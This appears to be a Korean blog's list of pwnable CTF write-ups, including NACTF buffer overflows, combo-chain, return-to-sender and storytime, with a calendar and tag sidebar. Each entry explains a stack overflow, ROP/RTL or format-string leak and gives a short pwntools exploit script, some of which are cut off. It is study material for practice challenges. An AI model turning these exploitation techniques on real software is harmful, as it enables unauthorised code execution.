일 | 월 | 화 | 수 | 목 | 금 | 토 |
---|---|---|---|---|---|---|
1 | ||||||
2 | 3 | 4 | 5 | 6 | 7 | 8 |
9 | 10 | 11 | 12 | 13 | 14 | 15 |
16 | 17 | 18 | 19 | 20 | 21 | 22 |
23 | 24 | 25 | 26 | 27 | 28 |
- BOF
- 에라토스테네스의 체
- 이진 탐색
- 이분 탐색
- RTL
- heap
- 다이나믹 프로그래밍
- off by one
- 백트래킹
- DFS
- 이진트리
- syscall
- 스택
- 동적 계획법
- ROP
- fsb
- OOB
- 포맷스트링버그
- 브루트 포스
- 큐
- 스위핑 알고리즘
- House of Orange
- 문자열 처리
- 연결리스트
- 투 포인터
- 분할 정복
- tcache
- BFS
- 수학
- 완전 탐색
- Today
- Total
목록write-up/pwnable (43)
SDJ( 수돈재 아님 ㅎ )
32bit 바이너리에 Partial RELRO만 걸려있다 flag를 읽어주는 win()함수가 있다. vuln()함수에서 gets(&s);에서 BOF가 발생하므로 역시 ret를 win()함수의 주소로 덮어주면 된다. exploit code 1 2 3 4 5 6 7 8 9 10 11 12 13 14 from pwn import * #p = process('./bufover-1') p = remote("shell.2019.nactf.com",31462) win = 0x080491B2 pay = '' pay += 'a'*0x18 pay += p32(0) pay += p32(win) p.sendlineafter(">", pay) p.interactive() BufferOverflow #0과 똑같은 문제인 듯 하다..
32비트 바이너리에 partial RELRO만 걸려있다. 바이너리 안에 flag를 읽어주는 win()함수가 있다. 그리고 vuln()함수에서 BOF가 발생하므로 ret를 win()의 주소로 덮어주면 된다. exploit code 1 2 3 4 5 6 7 8 9 10 11 12 from pwn import * #p = process('./bufover-0') p = remote("shell.2019.nactf.com",31475) win = 0x080491C2 pay = 'a'*0x18 pay += 'b'*4 pay += p32(win) p.sendline(pay) p.interactive() 아주 기초적인 BOF문제. flag: nactf{0v3rfl0w_th4at_buff3r_18ghKusB}
64bit 바이너리에 NX만 활성화 되어있다. 가장먼저 main()함수에서 bof취약점이 존재한다. 그리고 bof가 일어나는 함수 climax()를 준다. 따라서 익스플로잇 과정은 다음과 같다. 1. ret에 read_leave_ret을 넣어 bss로 돌린다. 2. ROP를 통해 가젯들과 주소를 구한다. 3. RTL로 쉘을 딴다. 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 from pwn import * p = process("./storytime") write_plt =..
64bit 바이너리에 NX만 활성화 되어있다. Lite와 달리 system의 주소는 주어지지 않고 /bin/sh문자열만 존재한다. 이때 gets(&v1);에서 bof가 발생하므로 ROP를 통해 system주소를 구하고 쉘을 따면 된다. 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 from pwn import * p = process('./combo-chain') bin_sh = 0x0000000000402008 + len('Dude you hear about that new game called ') gets_leave_ret = ..
64bit 바이너리에 NX만 활성화 되어있다. Lite문제는 system의 주소를 주고 문자열 끝에 "/bin/sh"도 준다. 따라서 RTL로 쉘을 따면 되겠다. 64bit는 rdi, rsi, rdx순으로 인자를 받으므로 pop_rdi 가젯을 찾아 /bin/sh를 넣고 system 함수를 호출하면 된다. 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 from pwn import * p = process('./combo-chain-lite') pop_rdi = 0x401273 p.recvuntil("computer: ") libc_system = int(p.recvuntil('\n').strip(), 16) print "libc_system : " + he..
32bit 바이너리에 아주 간단한 bof문제이다. vuln()함수에서 gets(&s); 에서 bof가 발생한다. 게다가 system("/bin/sh");도 주어줬으므로 ret에 win()함수를 넣어주면 되겠다. 1 2 3 4 5 6 7 8 9 10 11 12 13 from pwn import * p = process('./return-to-sender') win = 0x080491B6 pay = '' pay += 'a'*0x10 pay += 'bbbb' pay += p64(win) p.sendlineafter("today? ", pay) p.interactive()
ctf는 진작 끝났지만.. pwn을 좋아하기 때문에 따로 가입을 해서 풀어 보았다. 먼저 main을 보면 처음 노란 줄에서 s에 0x40만큼 입력을 받고 두 번째 노란 줄에서 출력을 해준다. 이때 format-string-bug( fsb )가 일어나 메모리의 leak이 가능하게 된다. 다음 secret() 함수를 봐보자 이때 두번째 노란 줄 gets(&s1); 에서 bof가 일어나서 ret을 조작할 수 있게 된다. 따라서 익스플로잇 과정은 다음과 같다. 1. fsb로 PIE_base, libc_base, canary를 leak 한다. 2. one_gadget을 구해 ret에 덮는다. (하지만 one_gadget이 전부 작동하지 않았다.) 2. libc_base와 PIE_base를 기반으로 system과 ..